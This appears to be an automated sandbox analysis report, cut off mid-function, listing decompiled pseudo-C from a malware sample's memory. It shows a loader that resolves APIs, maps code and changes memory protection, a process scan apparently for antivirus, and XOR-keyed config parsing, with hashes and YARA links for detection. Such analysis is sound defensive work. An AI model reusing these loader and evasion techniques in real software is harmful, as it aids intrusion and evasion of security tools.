C-Code - Quality: 86%

			E10001E11(void* __eax) {
				char _v8;
				void* _v12;
				void* __edi;
				void* _t18;
				long _t24;
				long _t26;
				long _t29;
				intOrPtr _t40;
				void* _t41;
				intOrPtr* _t42;
				void* _t44;

				_t41 = __eax;
				_t16 =  *0x1000414c;
				_t33 =  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4);
				_t18 = E10001A0F( *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4),  *((intOrPtr*)( *((intOrPtr*)(__eax + 0x3c)) + __eax + 0x50)) +  *0x1000414c - 0x63698bc4 &  !( *0x1000414c - 0x63698bc4), _t16 + 0x9c96647d,  &_v8,  &_v12); // executed
				if(_t18 != 0) {
					_t29 = 8;
					goto L8;
				} else {
					_t40 = _v8;
					_t29 = E1000125B(_t33, _t40, _t41);
					if(_t29 == 0) {
						_t44 =  *((intOrPtr*)(_t40 + 0x3c)) + _t40;
						_t24 = E10001745(_t40, _t44); // executed
						_t29 = _t24;
						if(_t29 == 0) {
							_t26 = E10001179(_t44, _t40); // executed
							_t29 = _t26;
							if(_t29 == 0) {
								_push(_t26);
								_push(1);
								_push(_t40);
								if( *((intOrPtr*)( *((intOrPtr*)(_t44 + 0x28)) + _t40))() == 0) {
									_t29 = GetLastError();
								}
							}
						}
					}
					_t42 = _v12;
					 *((intOrPtr*)(_t42 + 0x18))( *((intOrPtr*)(_t42 + 0x1c))( *_t42));
					E10001DFC(_t42);
					L8:
					return _t29;
				}
			}

0x10001e19
0x10001e1b
0x10001e37
0x10001e48
0x10001e4f
0x10001ead
0x00000000
0x10001e51
0x10001e51
0x10001e5b
0x10001e5f
0x10001e64
0x10001e67
0x10001e6c
0x10001e70
0x10001e75
0x10001e7a
0x10001e7e
0x10001e83
0x10001e84
0x10001e88
0x10001e8d
0x10001e95
0x10001e95
0x10001e8d
0x10001e7e
0x10001e70
0x10001e97
0x10001ea0
0x10001ea4
0x10001eae
0x10001eb4
0x10001eb4

APIs

Part of subcall function 10001A0F: GetModuleHandleA.KERNEL32(?,00000020,?,?,?,?,?,10001E4D,?,?,?,?,?,00000002,?,10001401), ref: 10001A33
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A55
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A6B
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A81
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001A97
Part of subcall function 10001A0F: GetProcAddress.KERNEL32(00000000,?), ref: 10001AAD

Part of subcall function 1000125B: memcpy.NTDLL(?,?,?), ref: 10001288
Part of subcall function 1000125B: memcpy.NTDLL(?,?,?), ref: 100012BB

Part of subcall function 10001745: LoadLibraryA.KERNELBASE(?,?,00000000,?,?), ref: 1000177D

Part of subcall function 10001179: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 100011B2
Part of subcall function 10001179: VirtualProtect.KERNELBASE(00000000,?,?,?), ref: 10001227
Part of subcall function 10001179: GetLastError.KERNEL32 ref: 1000122D

GetLastError.KERNEL32(?,10001401), ref: 10001E8F

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: AddressProc$ErrorLastProtectVirtualmemcpy$HandleLibraryLoadModule
String ID:
API String ID: 2673762927-0
Opcode ID: 0740a9f17521f8df7bbe915c9895f6c6409a621ade32a0bd2e8e166a0619371c
Instruction ID: 2043a04cbec374512fa6f71088344ccde69893edc298cb54b1ed822475c5d404
Opcode Fuzzy Hash: 0740a9f17521f8df7bbe915c9895f6c6409a621ade32a0bd2e8e166a0619371c
Instruction Fuzzy Hash: 5A112B7A700756ABE321DBA9CC80DDF77BCEF892947054129FD0197649EAB0FD0687A0

Uniqueness

Uniqueness Score: -1.00%

Function 00A121CD, Relevance: 1.3, APIs: 1, Instructions: 57
memoryCOMMON

Download Yara Rule

C-Code - Quality: 70%

			E00A121CD(void* __ecx, signed char* _a4) {
				void* _v8;
				void* _t8;
				signed short _t11;
				signed int _t12;
				signed int _t14;
				intOrPtr _t15;
				void* _t19;
				signed short* _t22;
				void* _t24;
				intOrPtr* _t27;

				_t24 = 0;
				_push(0);
				_t19 = 1;
				_t27 = 0xa1d330;
				E00A184D5();
				while(1) {
					_t8 = E00A112D4(_a4,  &_v8); // executed
					if(_t8 == 0) {
						break;
					}
					_push(_v8);
					_t14 = 0xd;
					_t15 = E00A1809F(_t14);
					if(_t15 == 0) {
						HeapFree( *0xa1d238, 0, _v8);
						break;
					} else {
						 *_t27 = _t15;
						_t27 = _t27 + 4;
						_t24 = _t24 + 1;
						if(_t24 < 3) {
							continue;
						} else {
						}
					}
					L7:
					_push(1);
					E00A184D5();
					if(_t19 != 0) {
						_t22 =  *0xa1d338; // 0x3139b80
						_t11 =  *_t22 & 0x0000ffff;
						if(_t11 < 0x61 || _t11 > 0x7a) {
							_t12 = _t11 & 0x0000ffff;
						} else {
							_t12 = (_t11 & 0x0000ffff) - 0x20;
						}
						 *_t22 = _t12;
					}
					return _t19;
				}
				_t19 = 0;
				goto L7;
			}

0x00a121d5
0x00a121d9
0x00a121da
0x00a121db
0x00a121e0
0x00a121e5
0x00a121ec
0x00a121f3
0x00000000
0x00000000
0x00a121f5
0x00a121fa
0x00a121fb
0x00a12202
0x00a1221c
0x00000000
0x00a12204
0x00a12204
0x00a12206
0x00a12209
0x00a1220d
0x00000000
0x00000000
0x00a1220f
0x00a1220d
0x00a12224
0x00a12224
0x00a12226
0x00a1222d
0x00a1222f
0x00a12235
0x00a1223c
0x00a1224c
0x00a12244
0x00a12247
0x00a12247
0x00a1224f
0x00a1224f
0x00a12258
0x00a12258
0x00a12222
0x00000000

APIs

Part of subcall function 00A184D5: GetProcAddress.KERNEL32(36776F57,00A121E5), ref: 00A184F0

Part of subcall function 00A112D4: RtlAllocateHeap.NTDLL(00000000,63699BC3,00000000), ref: 00A112FF
Part of subcall function 00A112D4: RtlAllocateHeap.NTDLL(00000000,63699BC3), ref: 00A11321
Part of subcall function 00A112D4: memset.NTDLL ref: 00A1133B
Part of subcall function 00A112D4: CreateFileA.KERNELBASE(00000000,80000000,00000001,00000000,00000003,00000080,00000000,73797325), ref: 00A11379
Part of subcall function 00A112D4: GetFileTime.KERNEL32(00000000,?,00000000,00000000), ref: 00A1138D
Part of subcall function 00A112D4: FindCloseChangeNotification.KERNELBASE(00000000), ref: 00A113A4
Part of subcall function 00A112D4: StrRChrA.SHLWAPI(?,00000000,0000005C), ref: 00A113B0
Part of subcall function 00A112D4: lstrcat.KERNEL32(?,642E2A5C), ref: 00A113F1
Part of subcall function 00A112D4: FindFirstFileA.KERNELBASE(?,?), ref: 00A11407

Part of subcall function 00A1809F: lstrlen.KERNEL32(?,00000000,00A1D330,00000001,00A12200,00A1D00C,00A1D00C,00000000,00000005,00000000,00000000,?,?,?,00A196C1,00A123E9), ref: 00A180A8
Part of subcall function 00A1809F: mbstowcs.NTDLL ref: 00A180CF
Part of subcall function 00A1809F: memset.NTDLL ref: 00A180E1

HeapFree.KERNEL32(00000000,00A1D00C,00A1D00C,00A1D00C,00000000,00000005,00000000,00000000,?,?,?,00A196C1,00A123E9,00A1D00C,?,00A123E9), ref: 00A1221C

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: FileHeap$AllocateFindmemset$AddressChangeCloseCreateFirstFreeNotificationProcTimelstrcatlstrlenmbstowcs
String ID:
API String ID: 983081259-0
Opcode ID: 4656beb8c4260349e8f1d099364d62eede34592250c9f1652743f95a9028195f
Instruction ID: 54ba3981eda8167cfa11b46cc9e7fcd242e6c023c912475a43f54983d75045e3
Opcode Fuzzy Hash: 4656beb8c4260349e8f1d099364d62eede34592250c9f1652743f95a9028195f
Instruction Fuzzy Hash: 90014C35200204BAE7009FE6DD81FFE72A9EB59364F500035FD44C7060DA79DCD29365

Uniqueness

Uniqueness Score: -1.00%

Function 00A11262, Relevance: 1.3, APIs: 1, Instructions: 41
memoryCOMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A11262(void** __esi, intOrPtr _a4, unsigned int _a8, void* _a12) {
				signed short _t18;
				void* _t24;
				signed int _t26;
				signed short _t27;

				if(_a4 != 0) {
					_t18 = E00A19318(_a4, _a8, _a12, __esi); // executed
					_t27 = _t18;
				} else {
					_t27 = E00A16BFA(0, 0x80000002, _a8, _a12,  &_a12,  &_a8);
					if(_t27 == 0) {
						_t26 = _a8 >> 1;
						if(_t26 == 0) {
							_t27 = 2;
							HeapFree( *0xa1d238, 0, _a12);
						} else {
							_t24 = _a12;
							 *(_t24 + _t26 * 2 - 2) =  *(_t24 + _t26 * 2 - 2) & _t27;
							 *__esi = _t24;
						}
					}
				}
				return _t27;
			}

0x00a1126a
0x00a112bf
0x00a112c4
0x00a1126c
0x00a11286
0x00a1128a
0x00a1128f
0x00a11291
0x00a112a1
0x00a112ad
0x00a11293
0x00a11293
0x00a11296
0x00a1129b
0x00a1129b
0x00a11291
0x00a1128a
0x00a112ca

APIs

HeapFree.KERNEL32(00000000,?,00000000,80000002,74B5F710,?,?,74B5F710,00000000,?,00A1743A,?,004F0053,03139388,00000000,?), ref: 00A112AD

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 59d52dacfa933bf1c272ac6738046d97f0dbcead62ba2025322cbeeb86f0b22c
Instruction ID: 7e5bef901ff162bc11d204add4cc87fe0abcf5683dc4869886b52e1c31e4bd1b
Opcode Fuzzy Hash: 59d52dacfa933bf1c272ac6738046d97f0dbcead62ba2025322cbeeb86f0b22c
Instruction Fuzzy Hash: 63011D36140249FBCB22DF84CC01FEA3BB6EB943A0F148429FB159A160D731D961DB50

Uniqueness

Uniqueness Score: -1.00%

Function 00A12436, Relevance: 1.3, APIs: 1, Instructions: 36
sleepCOMMON

Download Yara Rule

C-Code - Quality: 88%

			E00A12436(intOrPtr* __edi) {
				intOrPtr _v8;
				char _v12;
				intOrPtr _v16;
				intOrPtr _t15;
				intOrPtr* _t21;

				_t21 = __edi;
				_push( &_v12);
				_push(__edi);
				_v8 = 0x1d4c0;
				_t15 =  *((intOrPtr*)( *__edi + 0xe0))();
				while(1) {
					_v16 = _t15;
					Sleep(0x1f4); // executed
					if(_v12 == 4) {
						break;
					}
					if(_v8 == 0) {
						L4:
						_t15 =  *((intOrPtr*)( *_t21 + 0xe0))(_t21,  &_v12);
						continue;
					} else {
						if(_v8 <= 0x1f4) {
							_v16 = 0x80004004;
						} else {
							_v8 = _v8 - 0x1f4;
							goto L4;
						}
					}
					L8:
					return _v16;
				}
				goto L8;
			}

0x00a12436
0x00a12443
0x00a12444
0x00a12445
0x00a1244c
0x00a1247a
0x00a1247b
0x00a1247e
0x00a12484
0x00000000
0x00000000
0x00a12463
0x00a1246d
0x00a12474
0x00000000
0x00a12465
0x00a12468
0x00a12488
0x00a1246a
0x00a1246a
0x00000000
0x00a1246a
0x00a12468
0x00a1248f
0x00a12495
0x00a12495
0x00000000

APIs

Sleep.KERNELBASE(000001F4), ref: 00A1247E

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Sleep
String ID:
API String ID: 3472027048-0
Opcode ID: 62d7ce97bd1d7cc023380306bd7dc12d8abdabc7a1d35d99403d15afae648e49
Instruction ID: 9a65084251cf9ba4bff35e9eebb39238321c8a0407a44c208eeee488bcf4bcbe
Opcode Fuzzy Hash: 62d7ce97bd1d7cc023380306bd7dc12d8abdabc7a1d35d99403d15afae648e49
Instruction Fuzzy Hash: 41F04F71C01219EFDB00DBD4D488BEDB7B8EF04304F1080AAE51263101D3B49B94CF61

Uniqueness

Uniqueness Score: -1.00%

Function 00A1A66E, Relevance: 1.3, APIs: 1, Instructions: 23
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00A1A66E(void* __edx, void* __edi, void* _a4) {
				int _t7;
				int _t13;

				_t7 = E00A17323(__edx, __edi, _a4,  &_a4); // executed
				_t13 = _t7;
				if(_t13 != 0) {
					memcpy(__edi, _a4, _t13);
					 *((char*)(__edi + _t13)) = 0;
					E00A19039(_a4);
				}
				return _t13;
			}

0x00a1a67a
0x00a1a67f
0x00a1a683
0x00a1a68a
0x00a1a695
0x00a1a699
0x00a1a699
0x00a1a6a2

APIs

Part of subcall function 00A17323: memcpy.NTDLL(00000000,00000090,00000002,00000002,00A1685F,00000008,00A1685F,00A1685F,?,00A1858C,00A1685F), ref: 00A17359
Part of subcall function 00A17323: memset.NTDLL ref: 00A173CF
Part of subcall function 00A17323: memset.NTDLL ref: 00A173E3

memcpy.NTDLL(00000002,00A1685F,00000000,00000002,00A1685F,00A1685F,00A1685F,?,00A1858C,00A1685F,?,00A1685F,00000002,?,?,00A12417), ref: 00A1A68A

Part of subcall function 00A19039: HeapFree.KERNEL32(00000000,00000000,00A17F18,00000000,?,?,00000000), ref: 00A19045

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: memcpymemset$FreeHeap
String ID:
API String ID: 3053036209-0
Opcode ID: 10b87d9068704a00f4c0b83e48a122f1ee3d32e81302abe31c4643e426d095cc
Instruction ID: 24c4704ea5cab20d5a63e6fd268b8ee8fc928af34ae6372bdf120eb1141d02e6
Opcode Fuzzy Hash: 10b87d9068704a00f4c0b83e48a122f1ee3d32e81302abe31c4643e426d095cc
Instruction Fuzzy Hash: 5CE08672405228BAC7122A94DC01EEF7F6E8F55790F044011FE0849101E621CA9093E1

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 00A14094, Relevance: 9.2, APIs: 6, Instructions: 223
memoryCOMMONCrypto

Download Yara Rule

C-Code - Quality: 92%

			E00A14094(int* __ecx) {
				int _v8;
				void* _v12;
				void* __esi;
				signed int _t20;
				signed int _t25;
				char* _t31;
				char* _t32;
				char* _t33;
				char* _t34;
				char* _t35;
				void* _t36;
				void* _t37;
				void* _t38;
				intOrPtr _t39;
				void* _t41;
				intOrPtr _t42;
				intOrPtr _t43;
				signed int _t46;
				intOrPtr _t49;
				signed int _t50;
				signed int _t55;
				void* _t57;
				void* _t58;
				signed int _t60;
				signed int _t64;
				signed int _t68;
				signed int _t72;
				signed int _t76;
				signed int _t80;
				void* _t85;
				intOrPtr _t102;

				_t86 = __ecx;
				_t20 =  *0xa1d278; // 0x63699bc3
				if(E00A18748( &_v12,  &_v8, _t20 ^ 0x8241c5a7) != 0 && _v8 >= 0x90) {
					 *0xa1d2d4 = _v12;
				}
				_t25 =  *0xa1d278; // 0x63699bc3
				if(E00A18748( &_v12,  &_v8, _t25 ^ 0xecd84622) == 0) {
					_push(2);
					_pop(0);
					goto L60;
				} else {
					_t85 = _v12;
					if(_t85 == 0) {
						_t31 = 0;
					} else {
						_t80 =  *0xa1d278; // 0x63699bc3
						_t31 = E00A13F7C(_t86, _t85, _t80 ^ 0x724e87bc);
					}
					if(_t31 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t31, 0,  &_v8) != 0) {
							 *0xa1d240 = _v8;
						}
					}
					if(_t85 == 0) {
						_t32 = 0;
					} else {
						_t76 =  *0xa1d278; // 0x63699bc3
						_t32 = E00A13F7C(_t86, _t85, _t76 ^ 0x2b40cc40);
					}
					if(_t32 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t32, 0,  &_v8) != 0) {
							 *0xa1d244 = _v8;
						}
					}
					if(_t85 == 0) {
						_t33 = 0;
					} else {
						_t72 =  *0xa1d278; // 0x63699bc3
						_t33 = E00A13F7C(_t86, _t85, _t72 ^ 0x3b27c2e6);
					}
					if(_t33 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t33, 0,  &_v8) != 0) {
							 *0xa1d248 = _v8;
						}
					}
					if(_t85 == 0) {
						_t34 = 0;
					} else {
						_t68 =  *0xa1d278; // 0x63699bc3
						_t34 = E00A13F7C(_t86, _t85, _t68 ^ 0x0602e249);
					}
					if(_t34 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t34, 0,  &_v8) != 0) {
							 *0xa1d004 = _v8;
						}
					}
					if(_t85 == 0) {
						_t35 = 0;
					} else {
						_t64 =  *0xa1d278; // 0x63699bc3
						_t35 = E00A13F7C(_t86, _t85, _t64 ^ 0x3603764c);
					}
					if(_t35 != 0) {
						_t86 =  &_v8;
						if(StrToIntExA(_t35, 0,  &_v8) != 0) {
							 *0xa1d02c = _v8;
						}
					}
					if(_t85 == 0) {
						_t36 = 0;
					} else {
						_t60 =  *0xa1d278; // 0x63699bc3
						_t36 = E00A13F7C(_t86, _t85, _t60 ^ 0x2cc1f2fd);
					}
					if(_t36 != 0) {
						_push(_t36);
						_t57 = 0x10;
						_t58 = E00A16ED2(_t57);
						if(_t58 != 0) {
							_push(_t58);
							E00A1A5D6();
						}
					}
					if(_t85 == 0) {
						_t37 = 0;
					} else {
						_t55 =  *0xa1d278; // 0x63699bc3
						_t37 = E00A13F7C(_t86, _t85, _t55 ^ 0xb30fc035);
					}
					if(_t37 != 0 && E00A16ED2(0, _t37) != 0) {
						_t102 =  *0xa1d32c; // 0x31395b0
						E00A175E9(_t102 + 4, _t53);
					}
					if(_t85 == 0) {
						_t38 = 0;
					} else {
						_t50 =  *0xa1d278; // 0x63699bc3
						_t38 = E00A13F7C(_t86, _t85, _t50 ^ 0x372ab5b7);
					}
					if(_t38 == 0) {
						L51:
						_t39 =  *0xa1d27c; // 0x271a5a8
						_t18 = _t39 + 0xa1e252; // 0x616d692f
						 *0xa1d2d0 = _t18;
						goto L52;
					} else {
						_t49 = E00A16ED2(0, _t38);
						 *0xa1d2d0 = _t49;
						if(_t49 != 0) {
							L52:
							if(_t85 == 0) {
								_t41 = 0;
							} else {
								_t46 =  *0xa1d278; // 0x63699bc3
								_t41 = E00A13F7C(_t86, _t85, _t46 ^ 0xd8dc5cde);
							}
							if(_t41 == 0) {
								_t42 =  *0xa1d27c; // 0x271a5a8
								_t19 = _t42 + 0xa1e791; // 0x6976612e
								_t43 = _t19;
							} else {
								_t43 = E00A16ED2(0, _t41);
							}
							 *0xa1d340 = _t43;
							HeapFree( *0xa1d238, 0, _t85);
							L60:
							return 0;
						}
						goto L51;
					}
				}
			}

0x00a14094
0x00a14097
0x00a140b7
0x00a140c5
0x00a140c5
0x00a140ca
0x00a140e4
0x00a142e2
0x00a142e4
0x00000000
0x00a140ea
0x00a140ea
0x00a140f1
0x00a14107
0x00a140f3
0x00a140f3
0x00a14100
0x00a14100
0x00a14111
0x00a14113
0x00a1411d
0x00a14122
0x00a14122
0x00a1411d
0x00a14129
0x00a1413f
0x00a1412b
0x00a1412b
0x00a14138
0x00a14138
0x00a14143
0x00a14145
0x00a1414f
0x00a14154
0x00a14154
0x00a1414f
0x00a1415b
0x00a14171
0x00a1415d
0x00a1415d
0x00a1416a
0x00a1416a
0x00a14175
0x00a14177
0x00a14181
0x00a14186
0x00a14186
0x00a14181
0x00a1418d
0x00a141a3
0x00a1418f
0x00a1418f
0x00a1419c
0x00a1419c
0x00a141a7
0x00a141a9
0x00a141b3
0x00a141b8
0x00a141b8
0x00a141b3
0x00a141bf
0x00a141d5
0x00a141c1
0x00a141c1
0x00a141ce
0x00a141ce
0x00a141d9
0x00a141db
0x00a141e5
0x00a141ea
0x00a141ea
0x00a141e5
0x00a141f1
0x00a14207
0x00a141f3
0x00a141f3
0x00a14200
0x00a14200
0x00a1420b
0x00a1420d
0x00a14210
0x00a14211
0x00a14218
0x00a1421a
0x00a1421b
0x00a1421b
0x00a14218
0x00a14222
0x00a14238
0x00a14224
0x00a14224
0x00a14231
0x00a14231
0x00a1423c
0x00a1424a
0x00a14254
0x00a14254
0x00a1425b
0x00a14271
0x00a1425d
0x00a1425d
0x00a1426a
0x00a1426a
0x00a14275
0x00a14288
0x00a14288
0x00a1428d
0x00a14293
0x00000000
0x00a14277
0x00a1427a
0x00a14281
0x00a14286
0x00a14298
0x00a1429a
0x00a142b0
0x00a1429c
0x00a1429c
0x00a142a9
0x00a142a9
0x00a142b4
0x00a142c0
0x00a142c5
0x00a142c5
0x00a142b6
0x00a142b9
0x00a142b9
0x00a142d3
0x00a142d8
0x00a142e5
0x00a142e9
0x00a142e9
0x00000000
0x00a14286
0x00a14275

APIs

StrToIntExA.SHLWAPI(00000000,00000000,?,00A123DE,?,63699BC3,00A123DE,?,63699BC3,00000005,00A1D00C,00000008,?,00A123DE), ref: 00A14119
StrToIntExA.SHLWAPI(00000000,00000000,?,00A123DE,?,63699BC3,00A123DE,?,63699BC3,00000005,00A1D00C,00000008,?,00A123DE), ref: 00A1414B
StrToIntExA.SHLWAPI(00000000,00000000,?,00A123DE,?,63699BC3,00A123DE,?,63699BC3,00000005,00A1D00C,00000008,?,00A123DE), ref: 00A1417D
StrToIntExA.SHLWAPI(00000000,00000000,?,00A123DE,?,63699BC3,00A123DE,?,63699BC3,00000005,00A1D00C,00000008,?,00A123DE), ref: 00A141AF
StrToIntExA.SHLWAPI(00000000,00000000,?,00A123DE,?,63699BC3,00A123DE,?,63699BC3,00000005,00A1D00C,00000008,?,00A123DE), ref: 00A141E1
HeapFree.KERNEL32(00000000,00A123DE,00A123DE,?,63699BC3,00A123DE,?,63699BC3,00000005,00A1D00C,00000008,?,00A123DE), ref: 00A142D8

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: FreeHeap
String ID:
API String ID: 3298025750-0
Opcode ID: 65a61fa730e0ef3a4dd6ea6afb66b86f927def14c731e40407b55af66a973ba6
Instruction ID: 689d54a165752c5c348020c3cc9f41c110549c6d42322f976912567933f5731b
Opcode Fuzzy Hash: 65a61fa730e0ef3a4dd6ea6afb66b86f927def14c731e40407b55af66a973ba6
Instruction Fuzzy Hash: 22619FF5A10204AADB20EBFCDD84DEB77FD9B9C7407248A25B411D7214E775D9C28720

Uniqueness

Uniqueness Score: -1.00%

Function 00A1757F, Relevance: 6.0, APIs: 4, Instructions: 41
processCOMMON

Download Yara Rule

C-Code - Quality: 68%

			E00A1757F() {
				char _v264;
				void* _v300;
				int _t8;
				intOrPtr _t9;
				int _t15;
				void* _t17;

				_t15 = 0;
				_t17 = CreateToolhelp32Snapshot(2, 0);
				if(_t17 != 0) {
					_t8 = Process32First(_t17,  &_v300);
					while(_t8 != 0) {
						_t9 =  *0xa1d27c; // 0x271a5a8
						_t2 = _t9 + 0xa1ee54; // 0x73617661
						_push( &_v264);
						if( *0xa1d0fc() != 0) {
							_t15 = 1;
						} else {
							_t8 = Process32Next(_t17,  &_v300);
							continue;
						}
						L7:
						CloseHandle(_t17);
						goto L8;
					}
					goto L7;
				}
				L8:
				return _t15;
			}

0x00a1758a
0x00a17594
0x00a17598
0x00a175a2
0x00a175d3
0x00a175a9
0x00a175ae
0x00a175bb
0x00a175c4
0x00a175db
0x00a175c6
0x00a175ce
0x00000000
0x00a175ce
0x00a175dc
0x00a175dd
0x00000000
0x00a175dd
0x00000000
0x00a175d7
0x00a175e3
0x00a175e8

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 00A1758F
Process32First.KERNEL32(00000000,?), ref: 00A175A2
Process32Next.KERNEL32(00000000,?), ref: 00A175CE
CloseHandle.KERNEL32(00000000), ref: 00A175DD

Memory Dump Source

Source File: 00000001.00000002.462301083.0000000000A11000.00000020.00000001.sdmp, Offset: 00A10000, based on PE: true

Associated: 00000001.00000002.462272017.0000000000A10000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462357143.0000000000A1C000.00000002.00000001.sdmp Download File
Associated: 00000001.00000002.462377364.0000000000A1D000.00000004.00000001.sdmp Download File
Associated: 00000001.00000002.462401527.0000000000A1F000.00000002.00000001.sdmp Download File

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 4a4114048d7c5074fc812330ad527d39e34ae1d41d68148016d3bb4766500d44
Instruction ID: 7b3ecd4a0875252f861cd8e444da0507579ae9aa92e7713b06bd667651fe0df5
Opcode Fuzzy Hash: 4a4114048d7c5074fc812330ad527d39e34ae1d41d68148016d3bb4766500d44
Instruction Fuzzy Hash: 3CF09672605125ABDB20E7B6CD49DEF77BEDBC4720F000061F956D6001EE34CD8A86A1

Uniqueness

Uniqueness Score: -1.00%

Function 10001850, Relevance: 6.0, APIs: 4, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E10001850() {
				void* _t1;
				long _t3;
				void* _t4;
				long _t5;
				void* _t6;
				intOrPtr _t8;
				void* _t12;

				_t8 =  *0x10004130;
				_t1 = CreateEventA(0, 1, 0, 0);
				 *0x1000413c = _t1;
				if(_t1 == 0) {
					return GetLastError();
				}
				_t3 = GetVersion();
				if(_t3 != 5) {
					L4:
					if(_t12 <= 0) {
						_t4 = 0x32;
						return _t4;
					} else {
						goto L5;
					}
				} else {
					if(_t3 > 0) {
						L5:
						 *0x1000412c = _t3;
						_t5 = GetCurrentProcessId();
						 *0x10004128 = _t5;
						 *0x10004130 = _t8;
						_t6 = OpenProcess(0x10047a, 0, _t5);
						 *0x10004124 = _t6;
						if(_t6 == 0) {
							 *0x10004124 =  *0x10004124 | 0xffffffff;
						}
						return 0;
					} else {
						_t12 = _t3 - _t3;
						goto L4;
					}
				}
			}

0x10001851
0x1000185f
0x10001867
0x1000186c
0x100018be
0x100018be
0x1000186e
0x10001876
0x1000187e
0x1000187e
0x100018ba
0x100018bc
0x00000000
0x00000000
0x00000000
0x10001878
0x1000187a
0x10001880
0x10001880
0x10001885
0x10001893
0x10001898
0x1000189e
0x100018a6
0x100018ab
0x100018ad
0x100018ad
0x100018b7
0x1000187c
0x1000187c
0x00000000
0x1000187c
0x1000187a

APIs

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000,00000000,1000164B,74B063F0), ref: 1000185F
GetVersion.KERNEL32 ref: 1000186E
GetCurrentProcessId.KERNEL32 ref: 10001885
OpenProcess.KERNEL32(0010047A,00000000,00000000), ref: 1000189E

Memory Dump Source

Source File: 00000001.00000002.474385844.0000000010001000.00000040.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000001.00000002.474366232.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.474416548.0000000010005000.00000040.00020000.sdmp Download File

Similarity

API ID: Process$CreateCurrentEventOpenVersion
String ID:
API String ID: 845504543-0
Opcode ID: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction ID: 85c0868463d14858f17c42858624fe0a32704ce5df48730f043fd2a385afc03a
Opcode Fuzzy Hash: ad5392e4f8523c6bff8dabd249a7cc4530ce31fe89c4eb97e7685ee26d633860
Instruction Fuzzy Hash: 69F0C2B06492309AF701DF68ADC57C53BE8E7097D2F028215E244D61ECDBB085818B5C

Uniqueness

Uniqueness Score: -1.00%

Function 00A197F2, Relevance: 1.9, APIs: 1, Instructions: 610
COMMONCrypto

Download Yara Rule

C-Code - Quality: 50%

			E00A197F2(void* __ecx, intOrPtr* _a4) {
				signed int _v8;
				signed int _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _v48;
				intOrPtr _v52;
				intOrPtr _v56;
